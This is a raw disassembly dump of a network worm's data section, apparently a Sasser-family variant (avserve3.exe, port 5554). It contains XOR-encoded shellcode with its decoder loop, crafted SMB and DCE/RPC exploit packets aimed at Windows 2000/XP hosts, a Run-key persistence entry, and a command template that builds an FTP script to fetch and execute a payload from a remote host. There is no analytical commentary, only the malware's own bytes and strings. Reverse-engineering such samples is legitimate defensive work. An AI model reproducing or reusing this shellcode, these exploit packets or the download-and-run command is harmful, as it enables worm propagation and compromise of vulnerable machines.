sub_40127D+B7r ... align 10h dword_407120 dd 71AB88D3h ; resolved to->WS2_32.listendword_407124 dd 71AC1028h ; resolved to->WS2_32.acceptdword_407128 dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_40159E+2DDr ... dword_40712C dd 71AB428Ah ; resolved to->WS2_32.send ; sub_401398+151r ... dword_407130 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_40127D+27r ... dword_407134 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_40127D+51r ... dword_407138 dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_40127D+6Cr ... dword_40713C dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_40127D+10Fr ... dword_407140 dd 71AB50C8h ; resolved to->WS2_32.gethostnamedword_407144 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoadword_407148 dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_4011D5+7r ... dword_40714C dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_4011D5+1Er ... dword_407150 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_407154 dd 71AB3E00h ; resolved to->WS2_32.bind align 10h dword_407160 dd 2E646D63h, 657865hdword_407168 dd 6D6D6F63h, 2E646E61h, 6D6F63hdword_407174 dd 632Fh ; char VarName[] VarName db 'COMSPEC',0 ; DATA XREF: sub_40292E+7o dword_407180 dd 0FFFFFFFFh, 402A9Bh, 402AAFh; char aPath[] aPath db 'PATH',0 ; DATA XREF: __spawnvpe+48o align 4 a_com db '.com',0 ; DATA XREF: .text:off_408D14o align 4 a_exe db '.exe',0 ; DATA XREF: .text:00408D10o align 4 a_bat db '.bat',0 ; DATA XREF: .text:00408D0Co align 4 a_cmd db '.cmd',0 ; DATA XREF: .text:off_408D08o align 4 ; char a_[] a_ db '.\',0 ; DATA XREF: __spawnve+51o align 4 aRuntimeError db 'runtime error ',0 align 4 db 0Dh,0Ah,0 align 4 aTlossError db 'TLOSS error',0Dh,0Ah,0 align 4 aSingError db 'SING error',0Dh,0Ah,0 align 4 aDomainError db 'DOMAIN error',0Dh,0Ah,0 align 4 aR6028UnableToI db 'R6028',0Dh,0Ah db '- unable to initialize heap',0Dh,0Ah,0 align 4 aR6027NotEnough db 'R6027',0Dh,0Ah db '- not enough space for lowio initialization',0Dh,0Ah,0 align 4 aR6026NotEnough db 'R6026',0Dh,0Ah db '- not enough space for stdio initialization',0Dh,0Ah,0 align 4 aR6025PureVirtu db 'R6025',0Dh,0Ah db '- pure virtual function call',0Dh,0Ah,0 align 4 aR6024NotEnough db 'R6024',0Dh,0Ah db '- not enough space for _onexit/atexit table',0Dh,0Ah,0 align 4 aR6019UnableToO db 'R6019',0Dh,0Ah db '- unable to open console device',0Dh,0Ah,0 align 10h aR6018Unexpecte db 'R6018',0Dh,0Ah db '- unexpected heap error',0Dh,0Ah,0 align 4 aR6017Unexpecte db 'R6017',0Dh,0Ah db '- unexpected multithread lock error',0Dh,0Ah,0 align 4 aR6016NotEnough db 'R6016',0Dh,0Ah db '- not enough space for thread data',0Dh,0Ah,0 aAbnormalProgra db 0Dh,0Ah db 'abnormal program termination',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 4 aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .text:off_408DC4o db '- floating point not loaded',0Dh,0Ah,0 align 4 aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+119o align 4 ; char asc_40746C[] asc_40746C db 0Ah ; DATA XREF: __NMSG_WRITE+F1o db 0Ah,0 align 10h ; char aRuntimeErrorPr[] aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE+D3o db 0Ah db 'Program: ',0 align 4 ; char a___[] a___ db '...',0 ; DATA XREF: __NMSG_WRITE+BFo ; char aProgramNameUnk[] aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: __NMSG_WRITE+7Do align 4 dword_4074A8 dd 2 dup(0) ; ___crtCompareStringA+34o ... dword_4074B0 dd 0FFFFFFFFh, 403D61h, 403D65haGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do align 10h aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o aUser32_dll db 'user32.dll',0 ; DATA XREF: ___crtMessageBoxA+Do align 4 dword_4074F8 dd 0FFFFFFFFh, 4057F6h, 4057FAh, 0FFFFFFFFh, 405865h, 405869h ; DATA XREF: ___crtCompareStringA+5o dword_407510 dd 0FFFFFFFFh, 405C12h, 405C16h, 0FFFFFFFFh, 405CC6h, 405CCAh ; DATA XREF: ___crtLCMapStringA+5o dd 76A4h, 2 dup(0) dd 76F4h, 7118h, 75A0h, 2 dup(0) dd 7876h, 7014h, 76ACh, 2 dup(0) dd 7884h, 7120h, 758Ch, 2 dup(0) dd 78D6h, 7000h, 5 dup(0) dd 77DDEBE7h, 77DD6BF0h, 77E34D78h, 77DFC41Bh, 0 dd 7C801D77h, 7C80BE01h, 7C834E64h, 7C838AE7h, 7C8365A5h dd 7C802442h, 7C8353CEh, 7C85E830h, 7C80B4CFh, 7C810637h dd 7C86136Dh, 7C809B47h, 7C810D87h, 7C801A24h, 7C80BC69h dd 7C80CC97h, 7C809FB5h, 7C80BE89h, 7C80B6A1h, 7C834D41h dd 7C80ADA0h, 7C910331h, 7C80929Ch, 7C80E93Fh, 7C8286EEh dd 7C838DE8h, 7C833478h, 7C80A35Eh, 7C80D077h, 7C9179FDh dd 7C809A51h, 7C8127A7h, 7C809915h, 7C812E76h, 7C802367h dd 7C802520h, 7C81AE17h, 7C9105D4h, 7C91043Dh, 7C80A490h dd 7C937A40h, 7C809BF8h, 7C821363h, 7C80CCA8h, 7C801EEEh dd 7C812F1Dh, 7C8111DAh, 7C81CDDAh, 7C801E16h, 7C80DDF5h dd 7C81153Ch, 7C862E2Ah, 7C81DF77h, 7C814AE7h, 7C80A0D4h dd 7C81CF5Bh, 7C812F08h, 7C80CC97h, 7C812F39h, 7C810E51h dd 7C810EF8h, 7C812BB6h, 7C809AE4h, 7C838A0Ch, 0 dd 7E41A8ADh, 0 dd 71AB88D3h, 71AC1028h, 71AB615Ah, 71AB428Ah, 71AB2B66h dd 71AB3B91h, 71AB406Ah, 71AB9639h, 71AB50C8h, 71AB3F41h dd 71AB2BF4h, 71AB4FD4h, 71AB664Dh, 71AB3E00h, 0 dd 73770000h, 6E697270h, 416674h, 52455355h, 642E3233h dd 6C6Ch, 65470000h, 6F725074h, 64644163h, 73736572h, 0 aLoadlibrarya db 'LoadLibraryA',0 align 4 aLstrcpya db 'lstrcpyA',0 align 10h a_lclose db '_lclose',0 dd 6C5F0000h, 74697277h, 65h, 72636C5Fh, 746165h, 6C530000h dd 706565h, 6C5F0000h, 64616572h, 0 a_lopen db '_lopen',0 align 4 dd 65470000h, 646F4D74h, 46656C75h, 4E656C69h, 41656D61h dd 0 aCreatethread db 'CreateThread',0 align 10h aWinexec db 'WinExec',0 dd 6C430000h, 4865736Fh, 6C646E61h, 65h, 74697257h, 6C694665h dd 65h, 61657243h, 69466574h, 41656Ch, 69530000h, 666F657Ah dd 6F736552h, 65637275h, 0 aLockresource db 'LockResource',0 align 4 aLoadresource db 'LoadResource',0 align 4 aFindresourcea db 'FindResourceA',0 align 4 aGetmodulehandl db 'GetModuleHandleA',0 align 4 aLstrcata db 'lstrcatA',0 align 4 aGetwindowsdire db 'GetWindowsDirectoryA',0 align 4 aGetlasterror db 'GetLastError',0 align 4 aGettickcount db 'GetTickCount',0 align 4 aCreatemutexa db 'CreateMutexA',0 align 4 aCopyfilea db 'CopyFileA',0 aKernel32_dll db 'KERNEL32.dll',0 align 4 aWs2_32_dll db 'WS2_32.dll',0 align 10h dd 62410000h, 5374726Fh, 65747379h, 7568536Dh, 776F6474h dd 416Eh, 65520000h, 6F6C4367h, 654B6573h, 79h, 53676552h dd 61567465h, 4565756Ch, 4178h, 65520000h, 65704F67h, 79654B6Eh dd 44410041h, 49504156h, 642E3233h, 6C6Ch, 65470000h, 61745374h dd 70757472h, 6F666E49h, 41h, 43746547h, 616D6D6Fh, 694C646Eh dd 41656Eh, 65470000h, 72655674h, 6E6F6973h, 0 aExitprocess db 'ExitProcess',0 dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 65470000h dd 72754374h, 746E6572h, 636F7250h, 737365h, 65470000h dd 6C694674h, 74744165h, 75626972h, 41736574h, 0 aUnhandledexcep db 'UnhandledExceptionFilter',0 align 10h aFreeenvironmen db 'FreeEnvironmentStringsA',0 dd 72460000h, 6E456565h, 6F726976h, 6E656D6Eh, 72745374h dd 73676E69h, 57h, 65646957h, 72616843h, 754D6F54h, 4269746Ch dd 657479h, 65470000h, 766E4574h, 6E6F7269h, 746E656Dh dd 69727453h, 73676Eh, 65470000h, 766E4574h, 6E6F7269h dd 746E656Dh, 69727453h, 5773676Eh, 0 aSethandlecount db 'SetHandleCount',0 align 4 dd 65470000h, 64745374h, 646E6148h, 656Ch, 65470000h, 6C694674h dd 70795465h, 65h, 70616548h, 74736544h, 796F72h, 65480000h dd 72437061h, 65746165h, 0 aVirtualfree db 'VirtualFree',0 dd 65480000h, 72467061h, 6565h, 74520000h, 776E556Ch, 646E69h dd 754D0000h, 4269746Ch, 54657479h, 6469576Fh, 61684365h dd 72h, 53746547h, 6E697274h, 70795467h, 4165h, 65470000h dd 72745374h, 54676E69h, 57657079h, 0 aHeapalloc db 'HeapAlloc',0 align 4 aGetexitcodepro db 'GetExitCodeProcess',0 align 4 dd 61570000h, 6F467469h, 6E695372h, 4F656C67h, 63656A62h dd 74h, 61657243h, 72506574h, 7365636Fh, 4173h, 65470000h dd 49504374h, 6F666Eh, 65470000h, 50434174h, 0 aGetoemcp db 'GetOEMCP',0 align 4 aVirtualalloc db 'VirtualAlloc',0 align 4 aHeaprealloc db 'HeapReAlloc',0 dd 6F430000h, 7261706Dh, 72745365h, 41676E69h, 0 aComparestringw db 'CompareStringW',0 align 4 dd 65530000h, 766E4574h, 6E6F7269h, 746E656Dh, 69726156h dd 656C6261h, 41h, 614D434Ch, 72745370h, 41676E69h, 0 aLcmapstringw db 'LCMapStringW',0 align 10h dd 11Ch dup(0) dword_408000 dd 0 dword_408004 dd 0 dword_408008 dd 0 dd offset ___initmbctable dword_408010 dd 0 dword_408014 dd 0 dword_408018 dd 0 dword_40801C dd 0 dword_408020 dd 4 dup(0) off_408030 dd offset aEchoOffEchoOpe ; DATA XREF: sub_40127D+AAr ; "echo off&echo open %s 5554>>cmd.ftp&ech"... ; char Str[] Str db 'ë' ; DATA XREF: sub_40159E+132o ; sub_40159E+1ABo ; --------------------------------------------------------------------------- adc [edx+4Ah], bl xor ecx, ecx mov cx, 17Dh loc_40803E: ; CODE XREF: .text:00408042j xor byte ptr [edx+ecx], 99h loop loc_40803E jmp short loc_40804B ; --------------------------------------------------------------------------- dw 0EBE8h db 3 dup(0FFh) ; --------------------------------------------------------------------------- loc_40804B: ; CODE XREF: .text:00408044j jo short near ptr dword_407B90+452h cwde cdq cdq retn ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_4080E4 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40159E+102o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_4081CC dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_401398+15Do ; sub_40159E+2BDo dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_408258 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401398+188o ; sub_40159E+2ECo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dd 0 dword_408304 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401398+1ADo ; sub_40159E+315o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_4083E4 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_401398+53o ; sub_40159E+57o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_401398+85o ; sub_40159E+89o unicode 0, <C$>,0 a????? db '?????',0 align 8 dword_408448 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+369o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_4084B4 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+392o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_408558 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+3C8o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_4085D8 dd offset loc_401495 ; DATA XREF: sub_40159E+3F6o dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd offset dword_40707C dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_40866C dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+425o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_4086D8 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40159E+450o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_40874C dd 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 0 dd offset word_40A89A dd 1, 0 dd 1, 4 dup(0) dd 20h, 0Ch dup(0) dword_408810 dd 1004600h ; sub_40159E+19Er dd 1, 20h, 0Ch dup(0) dd 7515123Ch, 2, 20h, 0Ch dup(0) dd 751C123Ch, 0Fh dup(0) ; char *off_4088C8 off_4088C8 dd offset aAvserve3_exe ; DATA XREF: sub_4021CF:loc_402227r ; sub_4021CF+B5r ; "avserve3.exe" dd offset aAvserve3 ; "avserve3" ; char *off_4088D0 off_4088D0 dd offset dword_408910 ; DATA XREF: sub_401B08+1Ar ; sub_401B08+2Dr ; char *off_4088D4 off_4088D4 dd offset dword_408908 ; DATA XREF: sub_401B08+77r ; sub_401B08+84r ; char *off_4088D8 off_4088D8 dd offset dword_408900 ; DATA XREF: sub_401B08+A8r ; sub_401B08+B5r ; char *off_4088DC off_4088DC dd offset dword_4088F8 ; DATA XREF: sub_401B08+2BCr ; sub_401B08+2C9r ... ; char *off_4088E0 off_4088E0 dd offset dword_4088F0 ; DATA XREF: sub_401B08+184r ; sub_401B08+191r ; char *off_4088E4 off_4088E4 dd offset dword_4088E8 ; DATA XREF: sub_401B08+1B9r ; sub_401B08+1C6r dword_4088E8 dd 20303531h, 0A4B4Fhdword_4088F0 dd 20303032h, 0A4B4Fhdword_4088F8 dd 20363232h, 0A4B4Fhdword_408900 dd 20303332h, 0A4B4Fhdword_408908 dd 20313333h, 0A4B4Fhdword_408910 dd 20303232h, 0A4B4FhaAvserve3 db 'avserve3',0 ; DATA XREF: .text:004088CCo align 4 aAvserve3_exe db 'avserve3.exe',0 ; DATA XREF: .text:off_4088C8o align 4 aEchoOffEchoOpe db 'echo off&echo open %s 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo ' ; DATA XREF: .text:off_408030o db 'user&echo bin>>cmd.ftp&echo get %i_up.exe>>cmd.ftp&echo bye>>cmd.' db 'ftp&echo on&ftp -s:cmd.ftp&%i_up.exe&echo off&del cmd.ftp&echo on' db 0Ah,0 align 4 a127_0_0_1 db '127.0.0.1',0 ; DATA XREF: sub_4010D2:loc_401140o align 4 aCWin2_log db 'c:\win2.log',0 ; DATA XREF: sub_401210+27o aI db '%i',0 ; DATA XREF: sub_401210+16o align 4 aSC db '%s%c',0 ; DATA XREF: sub_401398+1DFo align 10h aSIpc db '\\%s\ipc$',0 ; DATA XREF: sub_401398+20o ; sub_40159E+23o align 4 dword_408A2C dd 6EB06EBh, 0 dword_408A34 dd 1CEC8166h dword_408A38 dd 0E4FF07h ; char a5_0[] a5_0 db '5.0',0 ; DATA XREF: sub_401A84+4Ao ; char SubStr[] SubStr db '5.1',0 ; DATA XREF: sub_401A84+27o ; char aQuit[] aQuit db 'QUIT',0 ; DATA XREF: sub_401B08+2DAo align 4 ; char aRetr[] aRetr db 'RETR',0 ; DATA XREF: sub_401B08+1A2o align 4 aI_I_I_I db '%i.%i.%i.%i',0 ; DATA XREF: sub_401B08+173o ; sub_401EF0+D2o word_408A60 dw 2Ch ; DATA XREF: sub_401B08+EEr align 4 ; char aPort[] aPort db 'PORT',0 ; DATA XREF: sub_401B08+C6o align 4 ; char aPass[] aPass db 'PASS',0 ; DATA XREF: sub_401B08+95o align 4 ; char aUser[] aUser db 'USER',0 ; DATA XREF: sub_401B08+64o align 4 ; char asc_408A7C[] asc_408A7C: ; DATA XREF: sub_401EF0+102o unicode 0, < >,0 aBinary db 'BINARY',0 ; DATA XREF: sub_402029+15o align 4 aSkynet_cpl db 'skynet.cpl',0 ; DATA XREF: sub_4020B8+3Co align 4 ; char asc_408A94[] asc_408A94: ; DATA XREF: sub_4020B8+2Eo ; sub_4021CF+4Bo ... unicode 0, <\>,0 aPinaasosky db 'PinaasoSky',0 ; DATA XREF: WinMain(x,x,x,x)+51o align 4 aJobaka3 db 'Jobaka3',0 ; DATA XREF: WinMain(x,x,x,x)+Fo aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_4021CF+8Co align 10h off_408AE0 dd offset __exit ; DATA XREF: __amsg_exit+1Cr dword_408AE4 dd 2 ; __NMSG_WRITE+46r align 10h off_408AF0 dd offset __wctype+2 ; DATA XREF: _isalnum+1Er ; __isctype+12r ... dd offset __wctype+2 public __wctype ; const unsigned __int16 _wctype[] __wctype dd 200000h ; DATA XREF: _x_ismbbtype+18r ; .text:off_408AF0o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_408CFC dd 1 dd 2Eh, 1 off_408D08 dd offset a_cmd ; DATA XREF: __spawnve+109o ; ".cmd" dd offset a_bat ; ".bat" dd offset a_exe ; ".exe" off_408D14 dd offset a_com ; DATA XREF: __spawnve+E7o ; ".com" dword_408D18 dd 0C0000005h ; _xcptlookup+11o dd 0Bh, 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_408D90 dd 3 dword_408D94 dd 7 dword_408D98 dd 0Ah dword_408D9C dd 8Ch ; __XcptFilter+8Fw ... dd 0FFFFFFFFh, 0A00h, 10h dword_408DAC dd 19930520h, 4 dup(0) ; __NLG_Notify+2o dword_408DC0 dd 2 ; __NMSG_WRITE+28r off_408DC4 dd offset aR6002FloatingP ; DATA XREF: __NMSG_WRITE+FCr ; __NMSG_WRITE+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4073F0h, 9, 4073C4h, 0Ah, 4073A0h, 10h, 407374h dd 11h, 407344h, 12h, 407320h, 13h, 4072F4h, 18h, 4072BCh dd 19h, 407294h, 1Ah, 40725Ch, 1Bh, 407224h, 1Ch, 4071FCh dd 78h, 4071ECh, 79h, 4071DCh, 7Ah, 4071CCh, 0FCh, 4071C8h dd 0FFh, 4071B8h dword_408E50 dd 2, 0 dword_408E58 dd 1 dword_408E5C dd 16h dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch byte_408FC0 db 1 ; DATA XREF: __dosmaperr+19o ; __setmbcp+E1r db 2, 4, 8 align 8 dword_408FC8 dd 3A4h dd 82798260h, 21h, 0 ; DATA XREF: __setmbcp+11Dr dword_408FD8 dd 0DFA6h align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_4090B8 dd 3F8h ; __setmbcp+3Co ... align 10h dword_4090C0 dd 129B1C7h ; sub_401000+10w ... dword_4090C4 dd 0 ; sub_401210+Dr ; char Source[] Source db 4 dup(0) ; DATA XREF: sub_40127D+89o ; sub_401398+Co ... dword_4090CC dd 0 ; char *dword_4090D0 dword_4090D0 dd 0 ; __setenvp:loc_4032FFr ... align 8 dword_4090D8 dd 0 ; _fast_error_exitr ... dword_4090DC dd 0 ; __spawnvpe+27r ... dword_4090E0 dd 0 ; __dospawn+5Aw ... align 8 dword_4090E8 dd 0A28h ; sub_40292E:loc_402999r dword_4090EC dd 501h dword_4090F0 dd 5 dword_4090F4 dd 1 dword_4090F8 dd 1 dword_4090FC dd 8A0ED0h dd 0 ; void *Memory Memory dd 8A0D70h ; DATA XREF: _getenv+9r _getenv+27r ... dword_409108 dd 0 dword_40910C dd 0 ; ___wtomb_environ+4r ... dd 0 off_409114 dd offset aCM_unpackerPac ; DATA XREF: __setargv+2Ew ; "C:\\m_unpacker\\packed.exe" dd 0 byte_40911C db 0 ; DATA XREF: _doexit+2Dw align 10h dword_409120 dd 0 dword_409124 dd 0 dword_409128 dd 0 ; __XcptFilter+46w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: __setargv:loc_4033BDo ; .text:off_409114o align 4 dd 3Ah dup(0) dword_409230 dd 1 ; ___crtGetEnvironmentStringsA+23w ... dword_409234 dd 0 dword_409238 dd 1 ; ___crtGetStringTypeA:loc_403CD2w dword_40923C dd 1 ; _getSystemCP+4w ... dword_409240 dd 0 ; ___crtMessageBoxA+2Ew ... dword_409244 dd 0 ; ___crtMessageBoxA:loc_405442r dword_409248 dd 0 ; ___crtMessageBoxA+60r dd 2 dup(0) dword_409254 dd 0 dd 3 dup(0) dword_409264 dd 0 ; _getSystemCP+3Ar ... dd 0 dword_40926C dd 0 ; _calloc:loc_405613r ... dword_409270 dd 0 dword_409274 dd 1 ; ___crtCompareStringA+48w ... dword_409278 dd 1 ; ___crtLCMapStringA+4Cw ... dword_40927C dd 10h ; ___sbh_alloc_new_region+5r ... dword_409280 dd 0 ; ___sbh_free_block+259r ... dword_409284 dd 320650h ; ___sbh_free_block+310w ... ; void *Dst Dst dd 0 ; DATA XREF: ___sbh_heap_init:loc_4048D1w ; ___sbh_free_block+22Cr ... dword_40928C dd 1 ; ___sbh_find_blockr ... dword_409290 dd 320650h ; ___sbh_find_block+8r ... dword_409294 dd 4E4h ; __setmbcp+14r ... align 10h dword_4092A0 dd 3 dup(0) ; __setmbcp+171o ... dword_4092AC dd 0 dd 4 dup(0) byte_4092C0 db 0 ; DATA XREF: _setSBUpLow:loc_40481Fw ; _setSBUpLow:loc_40483Cw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 